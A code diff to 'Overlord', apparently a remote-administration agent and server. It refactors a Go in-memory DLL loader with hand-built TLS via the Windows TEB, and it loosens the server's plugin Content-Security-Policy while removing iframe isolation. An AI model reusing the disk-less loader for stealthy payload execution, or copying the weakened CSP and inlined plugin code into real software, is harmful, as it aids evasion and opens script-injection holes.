diff --git a/Overlord-Client/cmd/agent/plugins/loader_windows.go b/Overlord-Client/cmd/agent/plugins/loader_windows.go index 977a38d..9ace27b 100644 --- a/Overlord-Client/cmd/agent/plugins/loader_windows.go +++ b/Overlord-Client/cmd/agent/plugins/loader_windows.go @@ -5,7 +5,7 @@ package plugins import ( "errors" "fmt" - "sync" + "runtime" "syscall" "unsafe" ) @@ -15,59 +15,96 @@ func loadNativePlugin(data []byte) (NativePlugin, error) { return nil, errors.New("empty plugin binary") } - mm, err := LoadMemoryModule(data) - if err != nil { - return nil, fmt.Errorf("pe load: %w", err) + type initResult struct { + dp *dllPlugin + err error } + ch := make(chan initResult, 1) - if err := mm.CallEntryPoint(dllProcessAttach); err != nil { - mm.Free() - return nil, fmt.Errorf("DllMain init: %w", err) - } + go func() { + runtime.LockOSThread() - onLoad, err := mm.GetExport("PluginOnLoad") - if err != nil { - mm.Free() - return nil, err - } - onEvent, err := mm.GetExport("PluginOnEvent") - if err != nil { - mm.Free() - return nil, err - } - onUnload, err := mm.GetExport("PluginOnUnload") - if err != nil { - mm.Free() - return nil, err - } + mm, err := LoadMemoryModule(data) + if err != nil { + ch <- initResult{err: fmt.Errorf("pe load: %w", err)} + runtime.UnlockOSThread() + return + } - setCallback, _ := mm.GetExport("PluginSetCallback") + if err := mm.CallEntryPoint(dllProcessAttach); err != nil { + mm.Free() + ch <- initResult{err: fmt.Errorf("DllMain init: %w", err)} + runtime.UnlockOSThread() + return + } - runtime := "go" - if getRuntimeAddr, err := mm.GetExport("PluginGetRuntime"); err == nil { - ret, _, _ := syscall.SyscallN(getRuntimeAddr) - if ret != 0 { - var buf [32]byte - for i := range buf { - b := *(*byte)(unsafe.Pointer(ret + uintptr(i))) - if b == 0 { - runtime = string(buf[:i]) - break + onLoad, err := mm.GetExport("PluginOnLoad") + if err != nil { + mm.Free() + ch <- initResult{err: err} + runtime.UnlockOSThread() + return + } + onEvent, err := mm.GetExport("PluginOnEvent") + if err != nil { + mm.Free() + ch <- initResult{err: err} + runtime.UnlockOSThread() + return + } + onUnload, err := mm.GetExport("PluginOnUnload") + if err != nil { + mm.Free() + ch <- initResult{err: err} + runtime.UnlockOSThread() + return + } + + setCallback, _ := mm.GetExport("PluginSetCallback") + + rt := "go" + if getRuntimeAddr, err := mm.GetExport("PluginGetRuntime"); err == nil { + ret, _, _ := syscall.SyscallN(getRuntimeAddr) + if ret != 0 { + var buf [32]byte + for i := range buf { + b := *(*byte)(unsafe.Pointer(ret + uintptr(i))) + if b == 0 { + rt = string(buf[:i]) + break + } + buf[i] = b } - buf[i] = b } } - } - dp := &dllPlugin{ - mem: mm, - onLoadAddr: onLoad, - onEventAddr: onEvent, - onUnloadAddr: onUnload, - setCallbackAddr: setCallback, - pluginRuntime: runtime, + dp := &dllPlugin{ + mem: mm, + onLoadAddr: onLoad, + onEventAddr: onEvent, + onUnloadAddr: onUnload, + setCallbackAddr: setCallback, + pluginRuntime: rt, + workCh: make(chan pluginWork), + } + + ch <- initResult{dp: dp} + + dp.workerLoop() + + runtime.UnlockOSThread() + }() + + res := <-ch + if res.err != nil { + return nil, res.err } - return dp, nil + return res.dp, nil +} + +type pluginWork struct { + fn func() error + done chan error } type dllPlugin struct { @@ -78,76 +115,94 @@ type dllPlugin struct { setCallbackAddr uintptr callbackHandle uintptr // prevent GC of the callback closure pluginRuntime string // "go", "c", "cpp", etc. - mu sync.Mutex + workCh chan pluginWork +} + +func (p *dllPlugin) workerLoop() { + for w := range p.workCh { + w.done <- w.fn() + } +} + +func (p *dllPlugin) runOnWorker(fn func() error) error { + done := make(chan error, 1) + p.workCh <- pluginWork{fn: fn, done: done} + return <-done } func (p *dllPlugin) Load(send func(string, []byte), hostInfo []byte) error { - p.mu.Lock() - defer p.mu.Unlock() + return p.runOnWorker(func() error { + // Create a stdcall callback the DLL can invoke to send events to the host. + cb := syscall.NewCallback(func(eventPtr, eventLen, payloadPtr, payloadLen uintptr) uintptr { + event := make([]byte, eventLen) + if eventLen > 0 { + copy(event, unsafe.Slice((*byte)(unsafe.Pointer(eventPtr)), eventLen)) + } + payload := make([]byte, payloadLen) + if payloadLen > 0 { + copy(payload, unsafe.Slice((*byte)(unsafe.Pointer(payloadPtr)), payloadLen)) + } + send(string(event), payload) + return 0 + }) + p.callbackHandle = cb - // Create a stdcall callback the DLL can invoke to send events to the host. - cb := syscall.NewCallback(func(eventPtr, eventLen, payloadPtr, payloadLen uintptr) uintptr { - event := make([]byte, eventLen) - if eventLen > 0 { - copy(event, unsafe.Slice((*byte)(unsafe.Pointer(eventPtr)), eventLen)) + if p.setCallbackAddr != 0 { + syscall.SyscallN(p.setCallbackAddr, cb) } - payload := make([]byte, payloadLen) - if payloadLen > 0 { - copy(payload, unsafe.Slice((*byte)(unsafe.Pointer(payloadPtr)), payloadLen)) + + var infoPtr uintptr + infoLen := uintptr(len(hostInfo)) + if len(hostInfo) > 0 { + infoPtr = uintptr(unsafe.Pointer(&hostInfo[0])) } - send(string(event), payload) - return 0 + ret, _, _ := syscall.SyscallN(p.onLoadAddr, infoPtr, infoLen, cb) + if int32(ret) != 0 { + return errors.New("PluginOnLoad returned non-zero") + } + return nil }) - p.callbackHandle = cb - - if p.setCallbackAddr != 0 { - syscall.SyscallN(p.setCallbackAddr, cb) - } - - var infoPtr uintptr - infoLen := uintptr(len(hostInfo)) - if len(hostInfo) > 0 { - infoPtr = uintptr(unsafe.Pointer(&hostInfo[0])) - } - ret, _, _ := syscall.SyscallN(p.onLoadAddr, infoPtr, infoLen, cb) - if int32(ret) != 0 { - return errors.New("PluginOnLoad returned non-zero") - } - return nil } func (p *dllPlugin) Event(event string, payload []byte) error { - p.mu.Lock() - defer p.mu.Unlock() - eventBytes := []byte(event) - var eventPtr, payloadPtr uintptr - eventLen := uintptr(len(eventBytes)) - payloadLen := uintptr(len(payload)) - if len(eventBytes) > 0 { - eventPtr = uintptr(unsafe.Pointer(&eventBytes[0])) - } - if len(payload) > 0 { - payloadPtr = uintptr(unsafe.Pointer(&payload[0])) - } + payloadCopy := make([]byte, len(payload)) + copy(payloadCopy, payload) - ret, _, _ := syscall.SyscallN(p.onEventAddr, eventPtr, eventLen, payloadPtr, payloadLen) - if int32(ret) != 0 { - return errors.New("PluginOnEvent returned non-zero") - } + go func() { + runtime.LockOSThread() + defer runtime.UnlockOSThread() + + cleanup := p.mem.SetupThreadTLS() + defer cleanup() + + var eventPtr, payloadPtr uintptr + eventLen := uintptr(len(eventBytes)) + payloadLen := uintptr(len(payloadCopy)) + if len(eventBytes) > 0 { + eventPtr = uintptr(unsafe.Pointer(&eventBytes[0])) + } + if len(payloadCopy) > 0 { + payloadPtr = uintptr(unsafe.Pointer(&payloadCopy[0])) + } + + syscall.SyscallN(p.onEventAddr, eventPtr, eventLen, payloadPtr, payloadLen) + }() return nil } func (p *dllPlugin) Unload() { - p.mu.Lock() - defer p.mu.Unlock() - if p.onUnloadAddr != 0 { - syscall.SyscallN(p.onUnloadAddr) - } + _ = p.runOnWorker(func() error { + if p.onUnloadAddr != 0 { + syscall.SyscallN(p.onUnloadAddr) + } + return nil + }) } func (p *dllPlugin) Close() error { p.Unload() + close(p.workCh) if p.pluginRuntime != "go" { if p.mem != nil { p.mem.Free() diff --git a/Overlord-Client/cmd/agent/plugins/peloader_windows.go b/Overlord-Client/cmd/agent/plugins/peloader_windows.go index dc02db7..75c8371 100644 --- a/Overlord-Client/cmd/agent/plugins/peloader_windows.go +++ b/Overlord-Client/cmd/agent/plugins/peloader_windows.go @@ -11,6 +11,8 @@ import ( "golang.org/x/sys/windows" ) +func currentTEB() uintptr + const ( imageDOSSignature = 0x5A4D // "MZ" imageNTSignature = 0x00004550 // "PE\0\0" @@ -123,14 +125,18 @@ type imageTLSDirectory64 struct { } type MemoryModule struct { - base uintptr - size uintptr - entryPoint uintptr - exports map[string]uintptr - importDLLs []windows.Handle - initialized bool - tlsIndex uint32 - tlsData uintptr + base uintptr + size uintptr + entryPoint uintptr + exports map[string]uintptr + importDLLs []windows.Handle + initialized bool + tlsIndex uint32 + tlsData uintptr + tlsArrayAlloc uintptr // our VirtualAlloc'd ThreadLocalStoragePointer array + tlsTemplSrc uintptr // PE template raw data start (for copying to new threads) + tlsTemplSize uintptr // dataSize (template bytes to copy) + tlsTotalSize uintptr // dataSize + zeroFill (total allocation per thread) } func LoadMemoryModule(data []byte) (*MemoryModule, error) { @@ -293,8 +299,8 @@ func (mm *MemoryModule) Free() { if mm.tlsIndex != 0xFFFFFFFF { if mm.tlsData != 0 { _ = windows.VirtualFree(mm.tlsData, 0, windows.MEM_RELEASE) + mm.tlsData = 0 } - procTlsFree.Call(uintptr(mm.tlsIndex)) } for _, h := range mm.importDLLs { _ = windows.FreeLibrary(h) @@ -431,30 +437,78 @@ func (mm *MemoryModule) setupTLS(reason uint32) { tls := (*imageTLSDirectory64)(unsafe.Pointer(mm.base + uintptr(tlsDir.VirtualAddress))) - idx, _, _ := procTlsAlloc.Call() - if idx == 0xFFFFFFFF { - return - } - mm.tlsIndex = uint32(idx) - - if tls.AddressOfIndex != 0 { - *(*uint32)(unsafe.Pointer(uintptr(tls.AddressOfIndex))) = mm.tlsIndex - } - dataSize := uintptr(tls.EndAddressOfRawData - tls.StartAddressOfRawData) totalSize := dataSize + uintptr(tls.SizeOfZeroFill) + + var tlsData uintptr if totalSize > 0 { - tlsData, err := windows.VirtualAlloc(0, totalSize, + var err error + tlsData, err = windows.VirtualAlloc(0, totalSize, windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE) - if err == nil && tlsData != 0 { - if dataSize > 0 { - copyMem(tlsData, (*byte)(unsafe.Pointer(uintptr(tls.StartAddressOfRawData))), dataSize) - } - procTlsSetValue.Call(uintptr(mm.tlsIndex), tlsData) - mm.tlsData = tlsData + if err != nil || tlsData == 0 { + return + } + if dataSize > 0 { + copyMem(tlsData, (*byte)(unsafe.Pointer(uintptr(tls.StartAddressOfRawData))), dataSize) } } + tebAddr := currentTEB() + tlsArrayField := (*uintptr)(unsafe.Pointer(tebAddr + 0x58)) // ThreadLocalStoragePointer + oldArray := *tlsArrayField + + var newIndex uint32 + ptrSize := unsafe.Sizeof(uintptr(0)) + + if oldArray == 0 { + newArray, err := windows.VirtualAlloc(0, ptrSize, + windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE) + if err != nil || newArray == 0 { + if tlsData != 0 { + _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE) + } + return + } + *(*uintptr)(unsafe.Pointer(newArray)) = tlsData + *tlsArrayField = newArray + newIndex = 0 + mm.tlsArrayAlloc = newArray + } else { + var count uint32 + for count = 0; count < 256; count++ { + entry := *(*uintptr)(unsafe.Pointer(oldArray + uintptr(count)*ptrSize)) + if entry == 0 { + break + } + } + newSize := uintptr(count+1) * ptrSize + newArray, err := windows.VirtualAlloc(0, newSize, + windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE) + if err != nil || newArray == 0 { + if tlsData != 0 { + _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE) + } + return + } + if count > 0 { + copyMem(newArray, (*byte)(unsafe.Pointer(oldArray)), uintptr(count)*ptrSize) + } + *(*uintptr)(unsafe.Pointer(newArray + uintptr(count)*ptrSize)) = tlsData + *tlsArrayField = newArray + newIndex = count + mm.tlsArrayAlloc = newArray + } + + if tls.AddressOfIndex != 0 { + *(*uint32)(unsafe.Pointer(uintptr(tls.AddressOfIndex))) = newIndex + } + + mm.tlsIndex = newIndex + mm.tlsData = tlsData + mm.tlsTemplSrc = uintptr(tls.StartAddressOfRawData) + mm.tlsTemplSize = dataSize + mm.tlsTotalSize = totalSize + if tls.AddressOfCallBacks != 0 { cbAddr := uintptr(tls.AddressOfCallBacks) for { @@ -468,6 +522,61 @@ func (mm *MemoryModule) setupTLS(reason uint32) { } } +func (mm *MemoryModule) SetupThreadTLS() func() { + if mm.tlsIndex == 0xFFFFFFFF || mm.tlsTotalSize == 0 { + return func() {} + } + + tlsData, err := windows.VirtualAlloc(0, mm.tlsTotalSize, + windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE) + if err != nil || tlsData == 0 { + return func() {} + } + if mm.tlsTemplSize > 0 { + copyMem(tlsData, (*byte)(unsafe.Pointer(mm.tlsTemplSrc)), mm.tlsTemplSize) + } + + ptrSize := unsafe.Sizeof(uintptr(0)) + tebAddr := currentTEB() + tlsArrayField := (*uintptr)(unsafe.Pointer(tebAddr + 0x58)) + oldArray := *tlsArrayField + + var newArray uintptr + if oldArray == 0 { + arrSize := uintptr(mm.tlsIndex+1) * ptrSize + newArray, err = windows.VirtualAlloc(0, arrSize, + windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE) + if err != nil || newArray == 0 { + _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE) + return func() {} + } + *(*uintptr)(unsafe.Pointer(newArray + uintptr(mm.tlsIndex)*ptrSize)) = tlsData + *tlsArrayField = newArray + } else { + needed := uintptr(mm.tlsIndex+1) * ptrSize + newArray, err = windows.VirtualAlloc(0, needed, + windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE) + if err != nil || newArray == 0 { + _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE) + return func() {} + } + copyMem(newArray, (*byte)(unsafe.Pointer(oldArray)), needed) + *(*uintptr)(unsafe.Pointer(newArray + uintptr(mm.tlsIndex)*ptrSize)) = tlsData + *tlsArrayField = newArray + } + + return func() { + _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE) + if newArray != 0 { + *(*uintptr)(unsafe.Pointer(newArray + uintptr(mm.tlsIndex)*ptrSize)) = 0 + _ = windows.VirtualFree(newArray, 0, windows.MEM_RELEASE) + } + tebNow := currentTEB() + field := (*uintptr)(unsafe.Pointer(tebNow + 0x58)) + *field = oldArray + } +} + func peString(addr uintptr) string { var buf []byte for i := 0; i < 4096; i++ { // safety limit @@ -480,45 +589,42 @@ func peString(addr uintptr) string { return string(buf) } -var ( - modKernel32 = windows.NewLazySystemDLL("kernel32.dll") - procGetProcAddr = modKernel32.NewProc("GetProcAddress") - procTlsAlloc = modKernel32.NewProc("TlsAlloc") - procTlsSetValue = modKernel32.NewProc("TlsSetValue") - procTlsFree = modKernel32.NewProc("TlsFree") -) - -func getProcByOrdinal(module windows.Handle, ordinal uint16) (uintptr, error) { - r, _, err := procGetProcAddr.Call(uintptr(module), uintptr(ordinal)) - if r == 0 { - return 0, fmt.Errorf("GetProcAddress ordinal %d: %w", ordinal, err) +func copyMem(dst uintptr, src *byte, size uintptr) { + for i := uintptr(0); i < size; i++ { + *(*byte)(unsafe.Pointer(dst + i)) = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(src)) + i)) } - return r, nil } func sectionProtection(chars uint32) uint32 { - exec := chars&imageSCNMemExecute != 0 - read := chars&imageSCNMemRead != 0 - write := chars&imageSCNMemWrite != 0 + r := chars&imageSCNMemRead != 0 + w := chars&imageSCNMemWrite != 0 + x := chars&imageSCNMemExecute != 0 switch { - case exec && write: + case x && w: return windows.PAGE_EXECUTE_READWRITE - case exec && read: + case x && r: return windows.PAGE_EXECUTE_READ - case exec: + case x: return windows.PAGE_EXECUTE - case write: + case w: return windows.PAGE_READWRITE - case read: + case r: return windows.PAGE_READONLY default: return windows.PAGE_NOACCESS } } -func copyMem(dst uintptr, src *byte, size uintptr) { - dstSlice := unsafe.Slice((*byte)(unsafe.Pointer(dst)), size) - srcSlice := unsafe.Slice(src, size) - copy(dstSlice, srcSlice) +var ( + modKernel32 = windows.NewLazySystemDLL("kernel32.dll") + procGetProcAddr = modKernel32.NewProc("GetProcAddress") +) + +func getProcByOrdinal(module windows.Handle, ordinal uint16) (uintptr, error) { + r, _, err := procGetProcAddr.Call(uintptr(module), uintptr(ordinal)) + if r == 0 { + return 0, fmt.Errorf("pe: GetProcAddress ordinal %d: %w", ordinal, err) + } + return r, nil } diff --git a/Overlord-Client/cmd/agent/plugins/teb_amd64.s b/Overlord-Client/cmd/agent/plugins/teb_amd64.s new file mode 100644 index 0000000..6810482 --- /dev/null +++ b/Overlord-Client/cmd/agent/plugins/teb_amd64.s @@ -0,0 +1,9 @@ +#include "textflag.h" + +// func currentTEB() uintptr +TEXT ·currentTEB(SB),NOSPLIT,$0-8 + // mov rax, gs:[0x30] — read the TEB self-pointer + BYTE $0x65; BYTE $0x48; BYTE $0x8B; BYTE $0x04; BYTE $0x25 + LONG $0x00000030 + MOVQ AX, ret+0(FP) + RET diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index 3224404..34fe8fe 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -39,7 +39,7 @@ import { isAuthorizedAgentRequest } from "./server/agent-auth"; import { generateBuildMutex, sanitizeMutex, sanitizeOutputName } from "./server/build-utils"; import { detectUploadOs, normalizeClientOs, type DeployOs } from "./server/deploy-utils"; import { CORS_HEADERS } from "./server/http-security"; -import { mimeType, secureHeaders, securePluginHeaders } from "./server/http-utils"; +import { mimeType, secureHeaders } from "./server/http-utils"; import { sanitizePluginId } from "./server/plugin-utils"; import { dispatchAutoScriptsForConnection } from "./server/auto-script-dispatch"; import { dispatchAutoDeploysForConnection } from "./server/auto-deploy-dispatch"; @@ -421,7 +421,6 @@ async function startServer() { enqueuePluginEvent: notificationPluginHandlers.enqueuePluginEvent, drainPluginUIEvents: notificationPluginHandlers.drainPluginUIEvents, secureHeaders, - securePluginHeaders, mimeType, }, fileShare: { diff --git a/Overlord-Server/src/server/http-utils.ts b/Overlord-Server/src/server/http-utils.ts index 5b63f51..7c0b236 100644 --- a/Overlord-Server/src/server/http-utils.ts +++ b/Overlord-Server/src/server/http-utils.ts @@ -11,7 +11,7 @@ export function securePluginHeaders() { return { ...SECURITY_HEADERS, "X-Frame-Options": "SAMEORIGIN", - "Content-Security-Policy": "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'none'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'", + "Content-Security-Policy": "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self' wss: ws:; object-src 'none'; base-uri 'self'; frame-ancestors 'self'", }; } diff --git a/Overlord-Server/src/server/routes/plugin-routes.ts b/Overlord-Server/src/server/routes/plugin-routes.ts index 762ccf5..6628fc4 100644 --- a/Overlord-Server/src/server/routes/plugin-routes.ts +++ b/Overlord-Server/src/server/routes/plugin-routes.ts @@ -46,7 +46,6 @@ type PluginRouteDeps = { enqueuePluginEvent: (clientId: string, pluginId: string, event: string, payload: any) => void; drainPluginUIEvents: (clientId: string, pluginId: string) => Array<{ event: string; payload: any }>; secureHeaders: (contentType?: string) => Record; - securePluginHeaders: () => Record; mimeType: (path: string) => string; }; @@ -715,7 +714,6 @@ export async function handlePluginRoutes( const raw = await file.text(); const baseTag = ``; - const bridgeTag = ``; let injected = raw; const headMatch = raw.match(/]*>/i); @@ -723,16 +721,8 @@ export async function handlePluginRoutes( injected = raw.replace(headMatch[0], `${headMatch[0]}\n ${baseTag}`); } - if (injected.includes("")) { - injected = injected.replace("", ` ${bridgeTag}\n `); - } else if (injected.includes("")) { - injected = injected.replace("", ` ${bridgeTag}\n`); - } else { - injected = `${bridgeTag}\n${injected}`; - } - return new Response(injected, { - headers: { ...deps.securePluginHeaders(), "Content-Type": "text/html; charset=utf-8" }, + headers: deps.secureHeaders("text/html; charset=utf-8"), }); } @@ -746,9 +736,33 @@ export async function handlePluginRoutes( } const clientId = url.searchParams.get("clientId") || ""; - const bridgeToken = uuidv4(); - const origin = url.origin; - const iframeSrc = `/plugins/${pluginId}/frame?clientId=${encodeURIComponent(clientId)}&token=${encodeURIComponent(bridgeToken)}&origin=${encodeURIComponent(origin)}`; + + const htmlFile = path.join(deps.PLUGIN_ROOT, pluginId, "assets", `${pluginId}.html`); + const file = Bun.file(htmlFile); + let pluginBody = ""; + let pluginHeadExtras = ""; + + if (await file.exists()) { + const raw = await file.text(); + + const bodyMatch = raw.match(/]*>([\s\S]*?)<\/body>/i); + pluginBody = bodyMatch ? bodyMatch[1] : raw; + + const headMatch = raw.match(/]*>([\s\S]*?)<\/head>/i); + if (headMatch) { + const headContent = headMatch[1]; + const linkTags = headContent.match(/]*>/gi) || []; + const styleTags = headContent.match(//gi) || []; + pluginHeadExtras = [...linkTags, ...styleTags] + .map((tag) => + tag.replace(/href="(?!https?:\/\/|\/)/g, `href="/plugins/${pluginId}/assets/`), + ) + .join("\n "); + } + } + + const jsFile = Bun.file(path.join(deps.PLUGIN_ROOT, pluginId, "assets", `${pluginId}.js`)); + const hasPluginJs = await jsFile.exists(); const html = ` @@ -771,27 +785,19 @@ export async function handlePluginRoutes( /> + ${pluginHeadExtras}
-
- +
+ ${pluginBody}
-
- + ${hasPluginJs ? `` : ""} `;